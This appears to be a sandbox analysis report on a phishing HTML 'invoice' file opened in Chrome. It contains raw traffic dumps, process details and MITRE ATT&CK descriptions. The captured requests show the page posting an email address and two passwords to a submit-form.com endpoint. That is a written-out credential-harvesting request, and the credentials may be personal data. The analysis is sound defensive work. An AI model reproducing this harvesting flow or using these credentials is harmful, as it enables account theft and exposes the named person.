2025-03-20 10:44:29 UTC	4096	IN	Data Raw: e3 56 b4 65 e6 a0 ab b8 11 6c ce d1 54 81 a6 87 6e c6 e6 6f 5c 8a db 5f f7 3a 6c fc c1 cf 50 f0 e8 73 18 28 ad 42 c8 e3 9b 4d 00 d3 f7 e1 58 f6 16 54 dc 75 23 0e 3c b1 11 35 9b b2 95 0f 4d 40 26 be 89 aa 4c 95 f4 78 f7 ed 8f aa a0 81 49 19 cf 44 c5 6e f4 6e 5f 83 85 ff 79 15 72 0c 6d c8 89 3a c2 a7 3b 64 ab ca 86 69 df 0b 58 78 e1 85 d8 7e d6 3b 30 f8 86 7f 82 e9 ea ff 85 6f e1 52 84 64 32 8f 4d 38 11 aa a9 15 a2 d6 95 7e 4f 4f cd 22 f1 f1 f1 5e 98 73 36 63 d3 8f 7f 81 5d 3f fb 05 4a 7f 76 2d f2 7f 72 0d f2 ae bd 06 9b 2e fb 16 96 7f f9 7b aa 06 2e d4 b5 4f 1c e6 a3 16 19 aa 85 af 25 0f eb fe f7 16 ac bd fa 66 55 07 ba fa e1 bf 60 d7 b5 3f c3 fa 2b ff 0b ab 2f be 14 99 37 dc 88 fd bf fb 3d f6 cb b3 7d e0 56 21 da 7f bd 0f 05 f7 dc 2b 72 8f 4a 8d b2 f7 97 Data Ascii: VelTno\_:lPs(BMXTu#<5M@&LxIDnn_yrm:;diXx~;0oRd2M8~OO"^s6c]?Jv-r.{.O%fU`?+/7=}V!+rJ
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: db ba 1d d1 31 13 22 3d 7d 08 77 76 2b ed 96 01 fe 9f a6 cd 50 73 2b 82 2d ad f0 97 95 c3 9b 95 a5 34 82 91 ee de e3 32 ef bd da 61 10 40 96 97 8b 0b b9 53 29 5c 84 e0 c5 5c 2e 44 e4 fa 78 73 f2 e1 2d 28 84 af b0 08 fe 8a 2a 84 84 0c 1a 5a 3d 83 00 fa 73 f3 94 06 90 be 92 8e 1f ff 14 d6 8f 7d 0a 8e eb 6f 80 eb f6 3b 31 19 08 cc 11 0c 72 9a e1 34 b8 0f 34 34 4e 05 1c 95 00 d2 14 4a cd 1a fd 01 e9 37 c7 3c 7f 0c f4 20 a9 a3 39 95 81 13 8c b6 25 e1 bb e0 82 0b 54 44 2e 7d ed 0c 7f 41 c3 67 90 db 98 9e 85 35 7f f9 99 e6 64 12 30 fa dd d9 6c 56 79 e0 69 3e b1 22 ee 2b 42 22 d8 a8 88 5f 22 50 2f 52 97 f6 01 6c 91 89 34 80 64 22 a0 9c 63 97 2f 5f a6 52 c0 90 a4 91 a4 92 08 52 8b c7 1c 82 86 b0 6a 09 83 4d 8c ff d3 5f 90 c1 2a 24 9f 46 1f e9 bb c8 e3 1a 1b 1b d5 Data Ascii: 1"=}wv+Ps+-42a@S)\\.Dxs-(Z=s}o;1r444NJ7< 9%TD.}Ag5d0lVyi>"+B"_"P/Rl4d"c/_RRjM_$F
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: be d1 01 78 86 bb d1 b2 7e 23 4a 1e 7c 1c 25 0f 3d 88 e2 fb ff 86 96 0d 1b 60 6e 6c 46 c0 1f 45 44 d5 f7 9e 44 4f c6 66 94 de 7d 27 f2 ef fd 2b 0a fe fe 10 ca 17 3c 8a 3e b9 cf 48 31 e2 f1 34 01 74 8d c2 db 55 83 ee 82 46 0c 14 55 c0 5a b2 1d 63 55 65 e8 a9 1d 83 cb 6c 10 c0 30 82 76 0b 6a 17 2d 41 d3 0b 6b d1 93 9b 8f 4e 59 38 b4 ad 5b 89 fa d5 eb d0 b4 61 ab f2 65 e3 15 8e 48 1f 63 01 bf 10 c2 b9 2b f0 18 db 5a 5b 5a b0 3d 63 07 1c a6 4e e9 8c 05 db f7 e6 63 f1 fa bd 78 fc a9 c5 28 3d b0 4b 5e cc 2d 28 2e 2c c0 f3 eb f6 20 33 b7 02 79 15 ad d8 b3 61 15 2a 0a 73 60 97 e9 a3 67 78 04 2d 75 05 d8 bb 37 0b 4f 3d 2f 8b 46 21 6f d6 91 3e e4 ca 18 aa 6b aa 60 1d 6c 90 e3 f3 f1 c8 d3 6b 90 b1 fb 00 9a 5a 53 9a 43 be ef 1f 5b f0 14 b6 6c 58 0b 77 7f 19 9a 6b 4b Data Ascii: x~#J\|%=`nlFEDDOf}'+<>H14tUFUZcUel0vj-AkNY8[aeHc+Z[Z=cNcx(=K^-(., 3ya*s`gx-u7O=/F!o>k`lkZSC[lXwkK
2025-03-20 10:44:30 UTC	4096	IN	Data Raw: 77 b0 07 81 71 0b a2 e1 18 86 8a 4a 31 90 57 a8 de 97 7c bf 85 64 7b d8 41 ff b6 c4 dc 49 8d d3 f7 9b cf eb 82 dd 3a 86 d1 91 61 f4 cb fb d4 29 04 ce 1b 8c 20 11 0b ab 77 fe 88 10 24 26 52 96 81 61 dc 6a 51 55 be 06 06 87 61 b3 a7 e6 83 a8 f4 23 1c 70 63 62 c2 8e 81 a1 11 f8 83 a1 19 e3 88 49 47 dd b0 db ac 28 a9 6e 87 c5 e6 9c 3e 35 af 5b 42 ae 0f 13 d1 9b 2c 76 95 90 99 70 4d d8 e0 b4 8f c3 21 fd 70 fb fc 98 94 7e 30 41 75 4f df 88 aa fa 41 b8 6d 26 d8 c6 06 91 9d 57 8a c2 d2 94 52 47 2e 12 4f 28 e7 9a c0 c8 88 09 f1 44 aa 1c 63 2c e2 57 d9 43 c6 cc f6 69 02 e9 b4 99 61 19 ea c6 a8 d9 26 44 d3 a5 82 40 4c c2 43 5a 84 5b d8 27 1c 88 25 53 09 ae 4f 45 cc 4b 00 1f 78 e0 01 65 9e a5 8f 9e 91 1a 85 be 80 ac b2 71 e1 85 17 2a 92 f5 e1 0f 7f 58 69 ea 68 82 65 Data Ascii: wqJ1W\|d{AI:a) w$&RajQUa#pcbIG(n>5[B,vpM!p~0AuOAm&WRG.O(Dc,WCia&D@LCZ['%SOEKxeq*Xihe
2025-03-20 10:44:30 UTC	4096	IN	Data Raw: 8a 53 24 8c 89 84 ea 77 b0 aa 56 d5 44 0e 95 94 a5 c6 47 b2 ba 7d 07 bc 4b 96 c1 f1 ed ef 63 e2 ca ff 81 f5 82 8f c2 fe 8d 6f 2a df bf 28 c7 3c 32 82 29 69 4f 6b fe 34 34 34 5e 2e 1c 73 14 30 cd b8 24 5e 24 50 34 9b 92 08 92 9c 3d ff fc f3 2a 27 20 6b fa 52 4b 47 02 48 bf 3b 82 fe 7a 24 8b 86 c6 90 7f 67 0a f7 e5 5f 92 40 46 eb 92 d0 51 33 48 8d 9e 41 00 8d 92 6d 0c 40 21 98 9c 99 29 60 68 ae a5 99 97 b5 7d 49 00 59 82 8e fe 84 24 80 86 e9 96 66 65 b6 cf 40 15 46 2b 73 1c ac f7 4b 72 c7 80 0f 06 a5 18 a9 66 a8 55 b4 a4 35 0d 5a e3 a7 a1 71 12 c0 20 8c e4 24 42 0c 90 b8 ea 87 b0 fd e7 57 61 79 fd 19 18 bf f0 3f 30 7e d9 95 f0 ad 58 85 a8 3c cb 61 9a 7a 2b ab e1 d9 9a 81 40 71 a9 d2 fa 4d fb f2 cd 78 16 a7 b5 83 f2 9c 3a b7 67 a4 08 60 5e 3e 1c 0b 17 c3 b5 Data Ascii: S$wVDG}Kco(<2)iOk444^.s0$^$P4=' kRKGH;z$g_@FQ3HAm@!)`h}IY$fe@F+sKrfU5Zq $BWay?0~X<az+@qMx:g`^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49743	3.168.73.69	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:51 UTC	633	OUT	POST /KneMFWp0s HTTP/1.1 Host: submit-form.com Connection: keep-alive Content-Length: 91 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:51 UTC	91	OUT	Data Raw: 65 6d 61 69 6c 3d 75 72 73 2e 6c 75 73 74 65 6e 62 65 72 67 65 72 25 34 30 6c 67 70 61 72 74 6e 65 72 2e 63 68 26 70 61 73 73 77 6f 72 64 3d 25 35 42 58 65 21 73 47 43 77 25 35 42 78 25 32 33 46 70 26 63 6f 75 6e 74 3d 30 26 70 61 67 65 3d 73 46 2b 41 6c 33 72 74 25 33 41 Data Ascii: email=urs.lustenberger%40lgpartner.ch&password=%5BXe!sGCw%5Bx%23Fp&count=0&page=sF+Al3rt%3A
2025-03-20 10:44:53 UTC	898	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 99 Connection: close Date: Thu, 20 Mar 2025 10:44:53 GMT X-Amzn-Trace-Id: Root=1-67dbf1a3-7e543c001184bbc56189e2ad;Parent=1fb57a7de3dccdd5;Sampled=0;Lineage=1:b5cce516:0 x-amzn-RequestId: 0e830f1d-05ab-4617-b702-9d9b2f2ab156 referrer-policy: no-referrer x-dns-prefetch-control: off x-xss-protection: 0 access-control-allow-origin: null formspark-quota: -1 expect-ct: max-age=0 formspark-status: ok strict-transport-security: max-age=15552000; includeSubDomains x-amzn-Remapped-content-length: 99 x-download-options: noopen x-amz-apigw-id: HuKxlFq_joEEriA= vary: Origin x-content-type-options: nosniff X-Cache: Miss from cloudfront Via: 1.1 f37cb654f276fda4bb4d719cefa4c758.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: p4A8qZGHsej4xD-5bs207WUNIbBktUM9aGxUfcA9wwU1Cp8o0kPZgw==
2025-03-20 10:44:53 UTC	99	IN	Data Raw: 7b 22 65 6d 61 69 6c 22 3a 22 75 72 73 2e 6c 75 73 74 65 6e 62 65 72 67 65 72 40 6c 67 70 61 72 74 6e 65 72 2e 63 68 22 2c 22 70 61 73 73 77 6f 72 64 22 3a 22 5b 58 65 21 73 47 43 77 5b 78 23 46 70 22 2c 22 63 6f 75 6e 74 22 3a 22 30 22 2c 22 70 61 67 65 22 3a 22 73 46 20 41 6c 33 72 74 3a 22 7d Data Ascii: {"email":"urs.lustenberger@lgpartner.ch","password":"[Xe!sGCw[x#Fp","count":"0","page":"sF Al3rt:"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49744	3.168.73.87	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:53 UTC	388	OUT	GET /KneMFWp0s HTTP/1.1 Host: submit-form.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:53 UTC	959	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 239 Connection: close Date: Thu, 20 Mar 2025 10:44:53 GMT X-Amzn-Trace-Id: Root=1-67dbf1a5-5973941279d1685a6fd5468d;Parent=34888ad81e2c323a;Sampled=0;Lineage=1:b5cce516:0 x-amzn-RequestId: 82d0b982-41c1-4236-854e-ba465fff2d2d referrer-policy: no-referrer x-dns-prefetch-control: off x-xss-protection: 0 expect-ct: max-age=0 formspark-status: empty strict-transport-security: max-age=15552000; includeSubDomains x-amzn-Remapped-content-length: 239 x-download-options: noopen x-amz-apigw-id: HuKx9F_RDoEEYTg= vary: Origin x-content-type-options: nosniff location: https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted. X-Cache: Miss from cloudfront Via: 1.1 e3e31445c00bbce77f755b563c056d44.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: qWxJOHILzuHLo8U7-WPfPanW0VukWwhihHGH2nuFsSOW_tEqUSli7g==
2025-03-20 10:44:53 UTC	239	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 75 62 6d 69 74 74 65 64 2e 66 6f 72 6d 73 70 61 72 6b 2e 69 6f 3f 5f 66 6f 72 6d 49 64 3d 4b 6e 65 4d 46 57 70 30 73 26 61 6d 70 3b 5f 73 74 61 74 75 73 3d 4f 4b 26 61 6d 70 3b 5f 74 69 74 6c 65 3d 59 6f 75 72 20 66 6f 72 6d 20 68 61 73 20 62 65 65 6e 20 73 75 62 6d 69 74 74 65 64 2e 22 3e 68 74 74 70 73 3a 2f 2f 73 75 62 6d 69 74 74 65 64 2e 66 6f 72 6d 73 70 61 72 6b 2e 69 6f 3f 5f 66 6f 72 6d 49 64 3d 4b 6e 65 4d 46 57 70 30 73 26 61 6d 70 3b 5f 73 74 61 74 75 73 3d 4f 4b 26 61 6d 70 3b 5f 74 69 74 6c 65 3d 59 6f 75 72 20 66 6f 72 6d 20 68 61 73 20 62 65 65 6e 20 73 75 62 6d 69 74 74 65 64 2e 3c 2f 61 3e 2e Data Ascii: Redirecting to <a href="https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your form has been submitted.">https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your form has been submitted.</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49745	18.164.116.98	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:54 UTC	460	OUT	GET /?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted. HTTP/1.1 Host: submitted.formspark.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:54 UTC	448	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 1366 Connection: close Date: Thu, 20 Mar 2025 10:44:55 GMT Last-Modified: Thu, 13 Feb 2025 21:02:32 GMT ETag: "beba892c25c0dcdc39747fed4b5b0b2d" Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 c123eaeab0338ee38c9f9a5fe5647218.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: n3Te4YDJKmAACaox9doIy0a3RSO3uJgmrVsEkOsGwrC05DIfH_lK8g==
2025-03-20 10:44:54 UTC	1366	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6e 65 78 74 2d 68 65 61 64 2d 63 6f 75 6e 74 22 20 63 6f 6e 74 65 6e 74 3d 22 32 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><meta name="next-head-count" content="2"/><link rel="apple-touch-icon" href="apple-touch-icon.png"/><link rel="preload" href="/_next/static/css

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49746	3.168.73.69	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:59 UTC	633	OUT	POST /KneMFWp0s HTTP/1.1 Host: submit-form.com Connection: keep-alive Content-Length: 86 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:59 UTC	86	OUT	Data Raw: 65 6d 61 69 6c 3d 75 72 73 2e 6c 75 73 74 65 6e 62 65 72 67 65 72 25 34 30 6c 67 70 61 72 74 6e 65 72 2e 63 68 26 70 61 73 73 77 6f 72 64 3d 76 55 41 74 74 71 50 30 25 32 36 28 78 6a 26 63 6f 75 6e 74 3d 31 26 70 61 67 65 3d 73 46 2b 41 6c 33 72 74 25 33 41 Data Ascii: email=urs.lustenberger%40lgpartner.ch&password=vUAttqP0%26(xj&count=1&page=sF+Al3rt%3A
2025-03-20 10:45:01 UTC	898	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 98 Connection: close Date: Thu, 20 Mar 2025 10:45:01 GMT X-Amzn-Trace-Id: Root=1-67dbf1ab-46b9e07872a5d4f874e4f240;Parent=5aa5ba5c046179b6;Sampled=0;Lineage=1:b5cce516:0 x-amzn-RequestId: 8638f8fc-a853-4f86-97dc-fb2a0ff5bd9a referrer-policy: no-referrer x-dns-prefetch-control: off x-xss-protection: 0 access-control-allow-origin: null formspark-quota: -2 expect-ct: max-age=0 formspark-status: ok strict-transport-security: max-age=15552000; includeSubDomains x-amzn-Remapped-content-length: 98 x-download-options: noopen x-amz-apigw-id: HuKy7Ex3joEEQ5A= vary: Origin x-content-type-options: nosniff X-Cache: Miss from cloudfront Via: 1.1 e3e31445c00bbce77f755b563c056d44.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: mqrkqhfT4NZ-BYoi605JBvoaEhIUvzdu2toZKqWxlyscRCbYaJy_0g==
2025-03-20 10:45:01 UTC	98	IN	Data Raw: 7b 22 65 6d 61 69 6c 22 3a 22 75 72 73 2e 6c 75 73 74 65 6e 62 65 72 67 65 72 40 6c 67 70 61 72 74 6e 65 72 2e 63 68 22 2c 22 70 61 73 73 77 6f 72 64 22 3a 22 76 55 41 74 74 71 50 30 26 28 78 6a 22 2c 22 63 6f 75 6e 74 22 3a 22 31 22 2c 22 70 61 67 65 22 3a 22 73 46 20 41 6c 33 72 74 3a 22 7d Data Ascii: {"email":"urs.lustenberger@lgpartner.ch","password":"vUAttqP0&(xj","count":"1","page":"sF Al3rt:"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49747	3.168.73.87	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:45:01 UTC	388	OUT	GET /KneMFWp0s HTTP/1.1 Host: submit-form.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:45:02 UTC	959	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 239 Connection: close Date: Thu, 20 Mar 2025 10:45:02 GMT X-Amzn-Trace-Id: Root=1-67dbf1ad-71023faf105c49a409eaab47;Parent=4380fc1233ae1178;Sampled=0;Lineage=1:b5cce516:0 x-amzn-RequestId: 09dd9155-d379-4311-b88f-15b9ac0c0b98 referrer-policy: no-referrer x-dns-prefetch-control: off x-xss-protection: 0 expect-ct: max-age=0 formspark-status: empty strict-transport-security: max-age=15552000; includeSubDomains x-amzn-Remapped-content-length: 239 x-download-options: noopen x-amz-apigw-id: HuKzPGyejoEEKlA= vary: Origin x-content-type-options: nosniff location: https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your%20form%20has%20been%20submitted. X-Cache: Miss from cloudfront Via: 1.1 b3d00204fa2a73465702838ab0f52746.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: BGPPNiwXljuiYWY533nxieUvEF99uGPZFuEt1MMPpi-IH9Ulzvt1AQ==
2025-03-20 10:45:02 UTC	239	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 75 62 6d 69 74 74 65 64 2e 66 6f 72 6d 73 70 61 72 6b 2e 69 6f 3f 5f 66 6f 72 6d 49 64 3d 4b 6e 65 4d 46 57 70 30 73 26 61 6d 70 3b 5f 73 74 61 74 75 73 3d 4f 4b 26 61 6d 70 3b 5f 74 69 74 6c 65 3d 59 6f 75 72 20 66 6f 72 6d 20 68 61 73 20 62 65 65 6e 20 73 75 62 6d 69 74 74 65 64 2e 22 3e 68 74 74 70 73 3a 2f 2f 73 75 62 6d 69 74 74 65 64 2e 66 6f 72 6d 73 70 61 72 6b 2e 69 6f 3f 5f 66 6f 72 6d 49 64 3d 4b 6e 65 4d 46 57 70 30 73 26 61 6d 70 3b 5f 73 74 61 74 75 73 3d 4f 4b 26 61 6d 70 3b 5f 74 69 74 6c 65 3d 59 6f 75 72 20 66 6f 72 6d 20 68 61 73 20 62 65 65 6e 20 73 75 62 6d 69 74 74 65 64 2e 3c 2f 61 3e 2e Data Ascii: Redirecting to <a href="https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your form has been submitted.">https://submitted.formspark.io?_formId=KneMFWp0s&_status=OK&_title=Your form has been submitted.</a>.

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	1
Start time:	06:44:17
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6952e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	06:44:20
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3
Imagebase:	0x7ff6952e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:44:23
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2000,i,16935862891065918367,16861263937734979945,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8
Imagebase:	0x7ff6952e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:44:26
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Electronic_Invoice(20 Mar 2025).pdf.html"
Imagebase:	0x7ff6952e0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

